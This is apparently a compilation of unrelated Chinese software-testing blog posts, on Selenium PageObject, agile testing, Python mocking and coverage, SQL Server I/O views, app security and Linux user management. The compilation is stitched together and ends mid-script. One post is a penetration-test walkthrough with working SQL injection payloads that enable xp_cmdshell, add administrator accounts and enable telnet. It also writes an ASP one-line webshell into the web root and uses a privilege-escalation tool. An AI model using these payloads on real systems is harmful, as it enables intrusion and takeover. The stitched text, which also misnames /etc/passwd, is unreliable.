因为最近遇到的技术问题一直没找到可行的解决办法,一直在翻看
selenium的源代码,之前写
测试代码的时候就是拿来即用,写什么功能啊,就按手动的操作步骤去转换,近日看到一个
文章,又去wiki上查了查,觉得写的不错就记录下来了。
在使用selenium做UI测试的时候,往往并不是页面的每个功能我们都要测试,总有一些经常要进行回归的功能,再细致一点的说,有一些节点是我们经常 操作的,那么我从项目初期开始就进行
自动化测试代码编写的话,我们可以设计适应项目的一套自动化测试代码结构,基本的思路就是对每一个页面都创建一个相应 的PageObject类,如果是公共的模板页面当然只建立一个就可以了。这样下来就相当于建立了很多基础页面一样,如果项目开发的过程中还有完整的文档 或者足够详细的用户故事,那么就简直太完美了~~因为这样你可以减少很多次的IDE----Browser之间的切换、查找、测试
工作,真的方便很多。但 是这个看项目而定吧,这种细致入微的文档很多团队似乎都没能做到。但是笔者还是真的希望在产品初期或项目开始的时候有完整的文档给我们这些自动化测试的人 员手中,这样可以大大加快我们自动化测试代码的编写。绕的有点远了。。。回归正题,如何做这种一个页面一个基础类的实现呢?最实际的,看代码:
1 public class PageObject { 2 3 private WebElement searchTypeSng; 4 private WebElement fromCity; 5 private WebElement toCity; 6 private WebElement fromDate; 7 8 public String calDate(int nextDays) { 9 // 当前日期加 n 天之后 10 Date date = DateUtils.addDays(new Date(), nextDays); 11 // 格式化时间格式 12 return DateFormatUtils.ISO_DATE_FORMAT.format(date); 13 } 14 15 public void searchTrip(WebDriver driver,String from, String to ,String date) { 16 BaseUtils.clearAndTypeString(driver,fromCity, from); 17 BaseUtils.clearAndTypeString(driver,toCity, to); 18 BaseUtils.clearAndTypeString(driver,fromDate, date); 19 searchTypeSng.submit(); 20 } 21 22 } |
测试执行:
public class UsingPageObject { public static void main(String[] args) { WebDriver driver = new FirefoxDriver(); EventFiringWebDriver eventDriver = new EventFiringWebDriver(driver); eventDriver.register(new MyWebDriverListener()); eventDriver.get("http://flight.qunar.com/"); PageObject object = PageFactory.initElements(driver, PageObject.class); String date = object.calDate(30); object.searchTrip(driver,"北京", "厦门", date); } } |
这个时候就完成对搜索这一功能的冒烟测试,测试执行代码没有使用TestNG,只是直接用了一个main函数。为了写博客简单方便,不推荐大家效仿。
如果还需要测试其它功能和使用其它节点,直接在PageObject类中加入相应的Field即可。
分割线-------------------------------------------------------------------------------------------------分割线
写到这里,如果没用过这个方法的人会越看越晕,现在简单的讲解一下它执行的原理:
在 PageObject类中我们创建的Field的名称是和页面有一定的对应关系的,不是随意取的,如果像上面代码这么写,默认的selenium会根据 Id最先进行元素查找,如果没有查找到再通过name进行查找,下面的我就不说了,因为你已经想到了。。。如果你担心页面的不规范或者复杂度比较高,容易 产生ID,name,Css等的冲突,selenium不能准确的识别元素, 那么请往下看:
selenium还提供了一种注解的方式,还是直接上代码:
1 public class PageObject { 2 private WebElement searchTypeSng; 3 @FindBy(name="fromCity") 4 private WebElement fromCity; 5 @FindBy(name="toCity") 6 private WebElement toWhere; 7 private WebElement fromDate; 8 9 public String calDate(int nextDays) { 10 // 当前日期加 n 天之后 n=30 11 Date date = DateUtils.addDays(new Date(), nextDays); 12 // 格式化时间格式 13 return DateFormatUtils.ISO_DATE_FORMAT.format(date); 14 } 15 16 public void searchTrip(WebDriver driver,String from, String to ,String date) { 17 BaseUtils.clearAndTypeString(driver,fromCity, from); 18 BaseUtils.clearAndTypeString(driver,toWhere, to); 19 BaseUtils.clearAndTypeString(driver,fromDate, date); 20 searchTypeSng.submit(); 21 } 22 23 } |
当你看到这两个annotations的时候,你已经明白了,是的,selenium提供注解的方式对页面的元素进行准确的定位,可 以参考的关键字有:className、css、id、linkText、name、partialLinkText、tagName、xpath.
另外selenium还提供了2个关键字,一个是how,另一个是using,如何使用它们就不在这里写了,因为笔者觉得,用这两个关键字更麻烦,理解起来也麻烦。
关于PageObject & PageFactory的使用,就简单的写了这么多,关于PageFactory还有很多知识,我会抽出时间写在下篇文章里,如果有正在使用这种模式的朋友,请多多批评和指点,相互讨论学习。
1. fiddler和tcpdump+wireshark抓包分析,模拟修改http请求参数,检验漏洞
2. 修改AndroidManifest.xml文件中debuggable属性,打开logcat输出,查看是否有敏感信息输出
3. 将apk包转换成jar包,反编译出源码,查看其是否混淆,或者能否通过代码看出主要产品逻辑
4. 反编译apk,结合反编译出的源码修改smali文件,输出敏感信息,或者更改代码逻辑
5. 对于一些jni调用so文件的apk包,可以结合反编译的源码自己尝试调用so文件方法,ida查看修改so文件逻辑
6. Root
手机进入data/data目录下查看缓存文件,
数据库中是否保存了敏感信息
7. 对于有些app调用.net dll可以尝试Reflector反编译源码,弄清产品逻辑,同
java反编译一样,而大多数C#代码混淆的意识比java代码混淆意识要弱很多
8. 对于开放平台相关的app,可以借助以上手段获取开放平台接入的参数,结合平台文档,以完成攻击操作
话说刚开始接触
安全测试时,没有一个系统的概念,前辈仍一个内网测试网站,让我把的
shell拿下来,那我就开始吭哧吭哧的干起来。
首先,做
渗透测试要有个思路,不能埋头苦干。所以就开始理了下思路,具体如下:
判断有无sql注入点,根据sql注入点来判断
数据库类型,若是mssqlserver则查看存储过程xp_cmdshell 查看其是否被禁用,若没有被禁用,则直接在注入点后面直接使用xp_cmdshell 存储过程向系统中添加权限。
判断是否有上传漏洞,主要是上传asp等一句话脚本,先得到webshell,然后利用webshell再获取系统shell。
主要是利用sa,和第一种思路大致一样
主要就这几种思路,下面就开始实施。
首先,针对思路一:
既然是判断有无sql注入,最方便的方法当然是使用工具进行扫描,这里我使用的是webcruiser,一个非常小巧的工具,当然我这里肯定能够扫描出sql注入漏洞,接下来当然可以继续用这个工具得到数据库等信息,而我在这里就直接在该sql注入点是否能够执行xp_cmdshell。
具体方法是这样的:
确定数据库类型:
?Id=1234;and (select count(*) from sysobjects)>0
得到当前连接名和数据库名,查看是否为sa连接。
?id=1234;and user>0 (若显示dbo 则代表sa)。
?id=1234;and db_name()>0,执行异常时,可以得到当前连接的数据库名。
查看xp_cmdshell是否被禁用。
?id=1234;and (select count(*) from master.dbo.sysobjects where xtype=”X” and name =’xp_cmdshell’)
若存储过程被删掉,则尝试恢复。
?id=1234;and exec sp_addextendepro xp_cmdshell,’xplog70.dll’
若出现下面的错误,可以尝试如下方法:
l 无法装载 DLL xpsql70.dll 或该DLL 所引用的某一DLL。原因126 (找不到指定模块)。
首先执行,exec sp_dropextendeproc “xp_cmdshell” ,然后执行sp_addextendeproc “xp_cmdshell”,”xpsql70.dll”
l 无法再库xpweb70.dll 中找到函数xp_cmdshell 原因127
首先执行 exec sp_dropextendeproc “xp_cmdshell” ,然后执行 exec sp_addextendeproc “xp_cmdshell”,”xpweb70.dll”
则利用存储过程,执行添加用户的操作。
?id=1234 ;exec master..xp_cmdshell “net user aaa bbb /add ”-- 其中aaa为用户名,bbb为密码。
添加到管理员组:
?id=1234 ;exec master..xp_cmdshell “net localgroup administrators aaa/add ”
若想备份数据库,则采用:
?id=1234 ;exec backup database 数据库名 to disk =’C:\inetpub/wwwroot\save.db’,当然前提是知道
web虚拟路径。
当然当知道web虚拟路径的时候,可以通过制造一个unicode 漏洞来完成对计算机的控制。
?id=1234;exec master..xp_cmdshell “copy c:\windows\system32\cmd.exe c:\inetpub\scripts\cmd.exe”
上面的主要是利用xp_cmdshell 方法来的,如果其中的方法不起作用,那就另当别论了。
针对思路二: 既然是通过上传一个文件,那么首先要做的工作就是找各种上传路径,在前台摸索了半天也没有找到一个可以上传的功能,而后使用后台上传功能,通过找各种后台,其中发现个admin这个后台,无奈,用户名和密码均无法通过验证,从数据库里面看,也没有相应的用户名和密码,所以这个后台基本上是个无效的后台,没办法,眼看着上传这条路就要失效了,此时我又使用了webcruiser 对整个网站扫描了下,发现该软件有cmd模式,而且能够执行成功,此时思路就来了,既然应用程序前后台均无法上传,何不在这里直接使用cmd命令来建立一个asp文件呢?当然前提是要知道web虚拟路径在哪里。
一般情况下,web虚拟路径通常是这样的:C:\inetpub\wwwroot ;D:\inetpub\wwwroot ;
或者E:\inetpub\wwwroot 等 就这几个路径,而虚拟可以执行的目录一般是C:\inetpub\scripts ;D:\inetpub\scripts ; E:\inetpub\scripts
接下来,我在cmd命令下,直接执行一条命令:
echo ^<^%execute^(request^("eval"^)^)^%^> c:\inetpub\wwwroot\cms\test123456.asp
在这个目录下,生成了个一句话木马asp文件,然后再使用菜刀连接,ok,webshell拿到。
得到webshell 不是最主要的,而且webshell 也没有什么太大的作用,因此就尝试使用webshell往相应目录传送我们的攻击文件,尝试了几个目录均没有发现可以执行的目录,在快要放弃的情况下,然后尝试了C:\recycle这个目录,发现可以上传可以执行的文件,下面就简单了。
接下来的思路很简单,就是上传一个后面软件,执行系统权限添加操作。在做到过程中,还是遇到了不少困难,例如,开始上传的瑞士军刀,想通过反弹端口来执行我们添加用户的操作,发现无法成功。
在后来,通过一些0day的溢出漏洞来取得系统权限,在网上搜罗了一大堆的0day软件,均发现不可以利用,后来看到“巴西烤肉”这款软件,英文名Churraskito.exe,这款0day溢出软件是如此的强大,而且我下的这个还么有后门,直接执行Churraskito “C:\windows\system32\cmd.exe ” “net user 111 111/add”成功添加用户,哈哈,当然如果你想加到管理员组,在使用Churraskito “C:\windows\system32\cmd.exe ” “net localgroup administrators 111 /add” 基本上就ok了,至此,一个简单的获取系统权限的渗透测试就算完成了。
这里直接用webcruiser 中的cmd命令,直接执行添加用户操作就可以了,省去了后面的一系列操作。擦得,后来才想到的,唉。。。
思路三:
既然可以执行,未必非要xp_cmdshell ,我们可以通过尝试sa,这个操作,例如,先在数据库中建立一个用户,然后把该用户提升为sysadmin,之后在使用查询分析器连接,当然还是要使用xp_cmdshell 的存储过程。
具体方法如下:
首先建立数据库用户:
?id=1234;exec master.dbo.sp_addlogin user;
当然也可以为这个用户赋予密码,其实无所谓,如果赋予密码的话,这样操作:
?id=1234;exec master.dbo.password null ,password ,user;
这里的null就是旧密码,password 为新密码。
然后将该用户提升权限:
?id=1234;exec master.dbo.sp_addsrvrolemember user,sysadmin;
提升成功后,就可以通过查询分析器连接,连接成功后,直接查看xp_cmdshell是否能用;如果能用,则直接提升权限操作,;例如:
Xp_cmdshell ‘net user’
Xp_cmdshell ‘net user test123 test123 /add’
Xp_cmdshell ‘net localgroup administrators test123/add ’
Xp_cmdshell ‘net user test123 /del’
等。
开启telnet服务:
Xp_cmdshell ‘net start tlntsvr’
总结:
在这期间,我知道了webshell 和shell 不是一回事,也知道了xp_cmdshell是可以获取系统权限的,也知道了 有些工具是可以执行cmd命令的,当然我也初步了解下瑞士军刀 巴西烤肉等一系列攻击工具的用法,当然也了解到一些系统是可以被0day的。虽然这次渗透还有很多没有了解的地方,虽然只是大致的了解下,但是,对以后这方面,应该有个很好的思路以及借鉴。安全这块,任重而道远,以此勉励自己。
不久前,参加Thoughtworks组织的一场
自动化测试的分享,同事由于出差国外不能参加,特意嘱托我提问两个问题:
在
互联网这个将“
敏捷”与“持续集成”进行积极实践的环境里,“
敏捷测试”与“自动化测试”成了一个大家经常探讨的话题,
那么自动化测试最佳的实行时间是在什么时候?如何推行最有效的自动化测试?
以下谨代表个人观点:
个人整理了一些测试最佳实践并参考查阅了一些测试理论的书籍,又综合了个人
工作经历的一些经验,总结了以下几点:
1、测试人员尽可能早的进入产品或项目的相关工作(这里指的产品或项目,指的都是从头开始的),从产品的计划、需求调研、评审工作的开始测试人员就进行参与,这么做的目的有如下几点:a.让测试人员尽可能多的了解需求、了解业务,积极的提出问题,b.在下一步系统架构和接口设计之后,测试人员可以进行尽早设计系统的
接口测试用例,c.还可以为下一步编码工作的
单元测试做一个良好的铺垫,在后期设计单元测试用例的同时,懂代码的测试人员可以直接的检查开发人员的代码逻辑和业务逻辑是否符合要求,这也就实现了用最少成本“双人编程”。
2、综合一些实际情况考虑:根据一些实际调研,一般开发与测试的比例在1:6--1:10左右,能达到1:6的已经很不容易了,暂时不去讨论这个比例问题,因为这个需要根据项目的实际情况来看,个人看来:一些大型的互联网公司是不差钱的,所以他们会尽可能的在测试方面多投入或者说投入较高的,还有一些公司是不愿意在测试方面多投入但是又想多做测试的,还有一些就是尽可能少投入的,其实这些都可以调整,调整的依据是两个方面:一是确保公司对这个项目的重视和公司是真正的做测试,如果没有领导的支持,准确的说没有大领导的支持,测试工作是很难有效推进的,二是有效的安排测试人员,就是在项目的不同阶段安排不同测试人员,在测试不是很多是时候,可以使用半个人或者更少的测试人员,实现这一点的方法就是让一个测试人员去服务多个项目即可,当然这个多个也是有数量限制的,因为一个人的精力也是有限。
3、从第前2条提出来的一个疑问:作者一直提倡让测试人员尽可能早的接触产品和项目,这样能让测试人员充分了解项目,那么如何让一个人服务于多个测试项目?首先:明确一点,不是测试人员不从项目的开始就介入,测试人员就不能了解需求、不会测试。对于一个有经验的测试人员来说,快速的熟悉项目的需求并不是一件难事,如果说项目的各种逻辑真的是很复杂,项目经理也可以根据用户故事或者进行一些更为细致的安排来让这些协调过来的测试人员开展测试工作。一人服务于多个项目,这种事情在国内应该是屡见不鲜的。
4、如何安排人员也是一个如何花钱的问题:这种体会最深的就应该是外包公司,是先花钱还是后花钱还是超支还是项目失败,想必外包公司对这方面算的是最细的了。早期发现问题早解决问题,后面的压力就会小,不能早期的发现的问题,后面的团队压力就会像滚雪球一下越来越大。早期的测试投入看成一份成本的话,用这一份成本,来提早的发现问题的降低风险,后期才开始投入测试的话,也算是用一份成本,但是如果发现问题,开发人员就追踪、修改的成本是要远远大于初期的,项目的庞大和不稳定是让开发人员准确定位问题最大的困扰,还有测试人员做测试验证、回归测试、自动化脚本的修改这一切成本。
5、在项目的中后期如何做好自动化测试工作?在项目中期的时候,问题会逐渐积累,测试的东西也会越来越多,开发和维护的东西越来越多,维护是指测试人员测试出来的bug需要修复,但是又不能因为修复bug就停止项目开发工作。随着项目的推进,测试的效率保证是一个关键问题,这个时候自动化的推进和效率却成了一个矛盾的问题。原因有三:1.自动化代码需要编写和调试 2.自动化代码测试结果需要和手动测试结果进行比对 (自动化测试结果和手动测试结果不一致会有发生)3.自动化测试代码需要维护,尤其是在需求变更和设计变更的时候,手动测试只需要肉眼对比,而自动化测试可能会将代码进行较大改动。这三个问题大大降低了测试效率,这是手动测试必须成为项目的主导。解决这一问题的办法就是在项目测试集中的阶段调整手动和自动测试人员的比例,自动化人员测试的范围需要有一个合理的规划,必须定时的提交自动化测试代码,在手动测试完成后必须尽快的补充自动化测试代码,在完成测试工作的同时也自然的与手动测试的结果进行了比较,相当于进行了1次回归测试。也就说还是全部由手动测试人员进行第一轮全面覆盖的测试。 6、在“敏捷”开发过程中,自动化工程师先对哪一部分功能进行优先的用例实现:可以从以下几个方面进行考虑:1.优先考虑数据对比类型的功能,这种功能人工操作比较费眼力和时间 2.优先考虑已经测试出问题的功能,这样可以有效的对bug的功能进行回归检查 3.用户使用比较频繁的功能 4.项目优先级比较高,比较核心的功能
7.强调一点:手动测试和自动化测试对于项目来说同等重要,不存在自动化测试人员高级于手动测试人员。如果说一定要说哪个最重要的话,只能是看项目的不同阶段,在项目前中期的时候的时候,手动测试占据了核心地位,在后期的时候,自动化的全面覆盖保证了回归测试的有效进行。
8.总结:关于敏捷开发和敏捷测试的一点心得:敏捷现在已经被推向了一个高潮,何为敏捷?太多人有不同的见解,说到最后与敏捷最分不开的一词就应该是“实践”,敏捷是实践出来的,不是效仿出来的,现在太多的公司和团队在盲目的追求敏捷,拿scrum来说,有多少公司在做的只是scrum最最表象的一些东西,安排站会,制定sprint,总结会等等,但是这些真的给你的团队带来了改善了吗?想必答案只有他们自己清楚。我心中的敏捷:敏捷---敏-结,敏就是敏捷,简单的说就是要一个高效率,结:是指项目团队的协作和内部团结,这一点非常重要。看那些成功实施敏捷的团队和诸多的最佳实践团队他们都是团结一心的,整个项目团队都有一个共同的目标和追求,而不是每天项目经理在驱使着大家在前进,每个人都积极上进学习,遇到不懂的问题去总结、去学习,去突破,再去分享,而不是说,“这个问题太难了,这个技术太难了,这个。。。我可做不了”,如果每个成员都采用这种排斥的心里,那么这个团队就永远都敏捷不起来,还有就是在需要协作的时候,两个项目组不要互相“踢皮球”,而是要勇于承担责任,最普遍的现象就是项目出现了问题,然后大家在会上开始掐架。这时候有人会问,自己出来担责任不是傻吗?其实不然,一个明智的老板当然看的懂到底是谁的责任,是否真正的需要人来承担责任。如果这都做不到,证明这个老板也就。。。再谈实践,笔者看来,很难有一个很细致的又可以公用的敏捷方法,即使现在最流行的scrum,也是一个非常抽象的概念,所以才有诸多屡实施又不见成效的团队,最好的推进敏捷的方法就是实践,只有实践才能发现问题,才能解决问题,最好找到一个适合自己的敏捷方法。
python写单元大多数都会用到unittest和mock,
测试代码覆盖率都会用到coverage,最后再用nose把所有的东西都串起来,这样每次出版本,都能把整个项目的
单元测试都运行一遍。
Unittest
unittest就不详细介绍了,注意几点:
测试类继承unittest.TestCase
测试类、测试方法名字最好以
test开头,很多工具能根据名字来自动运行,很方便
测试类里面的setUp/tearDown会在每个case执行之前/之后执行,setUpClass/tearDownClass加上@classmethod在整个测试类开始和结束的时候执行
测试文件的main函数里面加上unittest.main(),就可以直接用python命令运行了
Mock
单元测试里面比较精髓的就是mock了,介绍几种常见的场景:
1. Mock一个函数。其实有好几种方法,个人比较推荐下面这种,看上去很清晰:
def multiple(a, b): return a*b class TestProducer(unittest.TestCase): def setUp(self): self.calculator = Calculator() @mock.patch('multiple') def test_multiple(self, mock_multiple): mock_multiple.return_value = 3 self.assertEqual(multiple(8, 14), 3) |
2. Mock一个对象里面的方法
class Calculator(object): def add(self, a, b): return a+b class TestProducer(unittest.TestCase): def setUp(self): self.calculator = Calculator() @mock.patch.object(Calculator, 'add') def test_add(self, mock_add): mock_add.return_value = 3 self.assertEqual(self.calculator.add(8, 14), 3) |
3. 让Mock的函数每次被调用返回不同的值,而1,2中的方法每次调用都会返回同样的值
class TestProducer(unittest.TestCase): @mock.patch.object(Calculator, 'add') def test_effect(self, mock_add): mock_add.side_effect = [1, 2, 3] self.assertEqual(self.calculator.add(8, 14), 1) self.assertEqual(self.calculator.add(8, 14), 2) self.assertEqual(self.calculator.add(8, 14), 3) |
4. 让Mock的函数抛出exception
def is_error(self): try: os.mkdir("11") return False except Exception as e: return True class TestProducer(unittest.TestCase): @mock.patch('os.mkdir') def test_exception(self, mock_mkdir): mock_mkdir.side_effect = Exception self.assertEqual(self.calculator.is_error(), True) |
5. Mock多个函数,主要是注意顺序
@mock.patch.object(Calculator, 'add') @mock.patch('test_unit.multiple') def test_both(self, mock_multiple, mock_add): mock_add.return_value = 1 mock_multiple.return_value = 2 self.assertEqual(self.calculator.add(8, 14), 1) self.assertEqual(multiple(8, 14), 2) |
Coverage
打命令coverage加测试文件,就可以得到覆盖率,可以生成html格式的报告,每次运行一个文件都会生成一个.coverage文件,需要将combine所有结果才能得到一个完整的报告。
具体的命令参数参看:http://nedbatchelder.com/code/coverage/cmd.html
更加有用的是配置文件,参看:http://nedbatchelder.com/code/coverage/config.html
配置文件中最有用的功能就是可以不测某些行的覆盖率,例如:
[report] exclude_lines = # 只要在某一行加上注释“# pragma: no cover”这一行就会被忽略 pragma: no cover # 忽略掉main函数 if __name__ == .__main__.: |
Nose
Nose可以将所有的单元测试文件一次全部执行,并且提供了coverage的插件,能够统计整体的覆盖率。
Nose会扫描目标目录,如果发现目录名以“test”或者“Test”开头,则递归地进去扫描,并自动运行所有发现的以“test”或者“Test”开头的测试文件。
另外Nose增加了报级别的setup和teardown,只需将他们放到__init__.py文件中即可。
Nose命令的执行,最简单的就是nosetest后面加上你的所有测试文件或者测试文件所在的目录,一些运行参数参看:http://nose.readthedocs.org/en/latest/usage.html
Nose的参数里面以"--cover"开头的都是coverage相关的,但是我发现并没有办法是用coverage的配置文件,需要手动安装一下nose-cov,然后用“--cov-config”来指定配置文件,其他参数参看:https://pypi.python.org/pypi/nose-cov
我的项目因为测试文件比分散,并且有些并没有以test开头,所以比较麻烦,只能写了一个脚本,把这些都串起来:
import os import subprocess ###################################################################### # 需要测试覆盖率的文件或者目录 cover_list = [ 'src/sample/analyzer/unpacker/src/emulator.py', 'src/sample/analyzer/unpacker/src/emulator_manager.py', 'src/sample/analyzer/unpacker/src/unpacker_analyzer.py', 'src/sample/analyzer/bitvalue/src/confparser.py', 'src/sample/analyzer/bitvalue/src/trunk.py', ] # 测试用例所在的文件或者目录,如果测试文件没有以test开头,则必须制定文件名 ut_list = [ 'src/sample/analyzer/unpacker/ut', 'src/sample/analyzer/bitvalue/ut/ut_main.py' ] ###################################################################### PRODUCTION_HOME = os.environ.get("PRODUCTION_HOME", "../..") def get_command(): command = [ 'nosetests', '--with-cov', '--cover-erase', '--cov-report', 'html', '--cov-config', 'cover.config', ] for cover in cover_list: command.append('--cov') command.append(os.path.join(PRODUCTION_HOME, cover)) for ut in ut_list: command.append(os.path.join(PRODUCTION_HOME, ut)) return command if __name__ == '__main__': command = get_command() print command os.chdir(PRODUCTION_HOME) proc = subprocess.Popen(command, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) output, error = proc.communicate() return_code = proc.poll() print output print error print return_code |
目前手机App测试还是以发现bug为主,主要
测试流程就是服务器
接口测试,客户端功能性覆盖,以及自动化配合的性能,适配,压测等,对于App安全性测试貌似没有系统全面统一的标准和流程,其实安全性bug也可以是bug的一种,只不过更加隐秘,难以发现,尤其针对于手机App。近期时间比较充裕,研究了一下安全性相关的东西,并对于我们自身的产品测试了一下(更主要的目的是游戏作弊刷分),发现了不少问题,总结一下。
我的理解,包括以webview为主体的app,站在入侵或者攻击的角度来讲,安全隐患在于http抓包,逆向工程。谈这之前先讲讲webview相关的app,前一段时间有个曝工资的软件很火,但有查询次数的限制,抓包研究了一下,发现其主要还是webview,通过抓包详细分析,才明白他记录查询次数的手段,每一个用户都会分配一个id,以及一个代表查询次数count以cookie的形式保存到本地,通过维护cookie达到限制查询次数的目的,所以清除cookie就可以无限制的查询了,个人觉得,webview相关的app安全性测试应该还是
web测试那一套,xss攻击,sql注入等(没搞过web安全测试,仅推测)。
大部分app还是走的http或者https,所以防http抓包泄露用户信息以及系统自身漏洞是必要的,毕竟像
腾讯那种通过自身通信协议增加安全性的还是少数的(抓过微信和qq的没抓着,不知道有没有相关工具可以抓手机tcp的包)。既然有接口测试为什么还需要单独对客户端进行抓包验证安全性呢?这么说吧,接口测试其实最主要的验证接口逻辑,可用性,边界值,异常检查,但并不能预先保证客户端调用不出问题,一个针对多个app抓包都发现的问题可以说明:抓了好多社交性app,发现对于用户资料隐私泄露还是很严重的,当你查看一个陌生用户信息时,一些
手机号,qq等信息页面上应该不显示的,但这些信息不显示并不代表服务器没有下发,好多都是客户端限制的,通过抓包,完全可以查看到陌生用户的app。再如好多发帖,push消息的应用,如果没有消息有效性的验证,抓到包之后篡改消息,服务器一点反应都没,这就会留有极大的隐患。
至于逆向工程这点,对于android就很好理解了,反编译,修改或者插入自己的代码,以达到相应目的。真见过几个没有代码混淆的app,包括我们自己的以及大名鼎鼎snapchat,记得有个游戏特搞笑,游戏主题是C#写得,结果
java的代码混淆了,C#的代码没有,修改了几个参数值,插了几段自己的代码,就作弊成功了。尤其好多开放平台的游戏,通过开放平台sdk文档,再加上反编译后些许信息,即使代码混淆了,也能推测出好多东西。这些都是安全性隐患。
以上这些只是最近一段时间对于手机app安全性测试的一点认识,很肤浅,
安全性测试对于测试人员素质要求还是很高的,尤其好多都是经验性的东西,只有通过不断增加经验,才能更好的做好测试。
系统有的时候响应会明显很慢,有的时候可以是因为访问人数增加导致,有的时候可能因为
数据库的磁盘I/O访问次数频繁导致。MS
SQL Server提供了一些动态管理视图和函数供我们分析磁盘I/O性能。
1、sys.dm_io_virtual_file_stats
SELECT DB_NAME(vfs.database_id) AS database_name , vfs.database_id , vfs.FILE_ID , io_stall_read_ms / NULLIF(num_of_reads, 0) AS avg_read_latency , io_stall_write_ms / NULLIF(num_of_writes, 0) AS avg_write_latency , io_stall / NULLIF(num_of_reads + num_of_writes, 0) AS avg_total_latency , num_of_bytes_read / NULLIF(num_of_reads, 0) AS avg_bytes_per_read , num_of_bytes_written / NULLIF(num_of_writes, 0) AS avg_bytes_per_write , vfs.io_stall , vfs.num_of_reads , vfs.num_of_bytes_read , vfs.io_stall_read_ms , vfs.num_of_writes , vfs.num_of_bytes_written , vfs.io_stall_write_ms , size_on_disk_bytes / 1024 / 1024. AS [size_on_disk_mbytes(MB)] , mf.physical_name FROM sys.dm_io_virtual_file_stats(DB_ID('master'), 1) AS vfs JOIN sys.master_files AS mf ON vfs.database_id = mf.database_id AND vfs.FILE_ID = mf.FILE_ID ORDER BY avg_total_latency DESC |
如果sys.dm_io_virtual_file_stats(null,null)那么会显示所有默认数据库和曾经附加过的数据库的信息,这里只想看master数据库的I/O信息,对数据库上执行后结果分析如下:
2、sys.dm_io_cluster_shared_drives和sys.dm_io_cluster_valid_path_names
如果你的数据库架构采用了集群部署,那么可以通过这两个查到关于集群节点的信息。未来sys.dm_io_cluster_shared_drives将被废弃,采用sys.dm_io_cluster_valid_path_names代替。
1.常用配置文件
用户信息文件: /etc/password
密码文件: /etc/shadow
用户组文件: /etc/group
用户组密码文件:/etc/gshadow
1.1 /etc/password文件
vim /etc/password
fubh:x:1020:1000::/home/fubh:/bin/bash
man 5 password #查看配置文件帮助
(密码文件)里每行一条记录,并且每行有这样的格式:
account:password:UID:GID:GECOS:directory:shell
(帐号:密码:用户ID:组ID:一般的信息:宿主目录:shell)
字段描述如下:
account 使用者在系统中的名字,它不能包含大写字母. password 加密的用户密码,或者星号。 UID 用户 ID 数。 GID 用户的主要组 ID 数。 GECOS 这字段是可选的,通常为了存放信息目的而设的。通常,它包含了用户的全名. directory 用户的 $HOME 目录. shell 登录时运行的程序(如果空的,使用/bin/sh如果设为不存在的执行(程序),用户不能通过login(1) 登录.) |
1.1.1 用户分类
UID=0的 是超级用户
UID=500~60000 为普通用户
UID=1~499 是伪用户(与系统和程序服务相关)
1.2 /etc/shadow 文件
root:#21312sd$44:wd323%cds:14945:0:99999:7:::
用户名:加密密码:最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:账号闲置时间:失效时间:
1.3 /etc/group 文件
vim /etc/group
sudo:x:27:web,yanghuang,zhoumin,duyp,taofh,luanqq
group_name:password:GID:user_list
(组名:组密码:组ID:组成员)
2、常用命令:
添加一个用户:useradd [-ugGdsce] 用户名
useradd -g webadmin -G root,web -c 'test suer' bob
-u UID
-g 缺省所属用户组GID
-G 指定用户属于多个组
-d 宿主目录
-s 命令解析器Shell
-c 描述信息设置密码:passwd 用户名
修改用户信息:
修改用户名: usermod -l 新用户名 旧用户名
添加用户所属组:usermod -G sys bob_fu
删除一个用户:userdel [-r] 用户名 (-r 删除用户的宿主目录)
给组设置密码: gpasswd 组名
gpasswd [-adArR] 用户名 组名
-a 将一个用户添加到某个组
-d 将用户从组中删除
-A 设置用户组管理员
-r 删除用户组密码
-R 禁止用户切换为改组
例如:
gpasswd webadmin
gpasswd -a bob_fu webadmin
gpasswd -A bob_fu webadmin
gpasswd -r webadmin
锁定一个用户:passwd -l jack / usermod -L jack
解锁一个用户:passwd -uf jack / usermod -U jack
切换所属组:newgrp webadmin
查看所属组:groups lisi
添加组:groupadd [-g GID] 组名 (查看: grep webadmin /etc/group)
删除组:groupdel webadmin
组改名:groupmod -n 新名 旧名
3、其他命令:
pwck 检测/etc/passwd文件(锁定文件)
vipw 编辑/etc/passwd文件查看(锁定文件)
id 查看用户id和组信息
finger 查看用户详细信息
su 切换用户 (su - 用户名)
passwd -S 查看用户密码状态
who、w 查看当前灯虎用户信息
grpck 用户组配置文件检测
vigr 编辑/etc/group文件(锁定文件)
chage [-lmM] 设置密码(LINUX下可用)
-l 查看用户密码设置 chage -l jack
-m 密码修改的最小天数
-M 密码修改的最大天数
-d 密码最后修改的日期
-I 密码过期后,牟定账号的天数
-E 设置密码过期日期,若为0,表示密码立即过期,若为-1则永不过期
-W 设置密码过期前,开始警告天数
4、案例:授权sofeware 目录 对jack 、mary有写权限
root创建一个目录:
mkdir /software
添加两个用户:
useradd jack
useradd mary
设置密码:
password jack
password mary
添加一个组
groupadd softadm
将用户添加到组
usermod -G softadm jack
gpasswd -a mary softadm
查看组成员:
grep softadm /etc/group
将目录有root组授权为softadm组
chgrp softadm ./software
给组添加目录写权限
chmod g+w ./software
5、扩展(RedHead系列)
5.1 批量添加用户
<1> newusers命令导入用户信息文件
例如 user.info 内容如下
test01::10001:503::/home/test01:/bin/bash test02::10002:503::/home/test02:/bin/bash test03::10003:503::/home/test03:/bin/bash test04::10004:503::/home/test04:/bin/bash test05::10005:503::/home/test05:/bin/bash test06::10006:503::/home/test06:/bin/bash newusers < user.info |
<2> pwunconv 命令取消 shadow password 功能
pwunconv
<3> chpasswd命令 导入密码
例如pass.info 内容如下
test01:admin+01 test02:admin+02 test03:admin+03 test04:admin+04 test05:admin+05 test06:admin+06 chpasswd <pass.info |
-e 指定用户失效时间
<4> pwconv 命令 将密码写入shadow文件
pwconv
优化方案:写脚本
#!/bin/bash #add-some-users.sh #The script is add some users to a new group. echo "Welcome to the add some users!" echo -n "Please input the new group(example : mygroup) : " read my_new_group groupadd $my_new_group echo -n "Add the $my_new_group group is successful!" echo "&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&" echo "Then add some users to the $my_new_group group!" echo -n "Please input the username(example: student) : " read new_user echo -n "Please input the username(begin_id)(example: 1 ) : " read begin_id echo -n "Please input the username(end_id)(example: 10 ) : " read end_id echo "&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&" for ((i=$begin_id;i<=$end_id;i++)) do #add the new_user to the my_new_group,and no add new_user's group useradd -n -g $my_new_group $new_user$i #delete the new_user password passwd -d $new_user$i chage -d 0 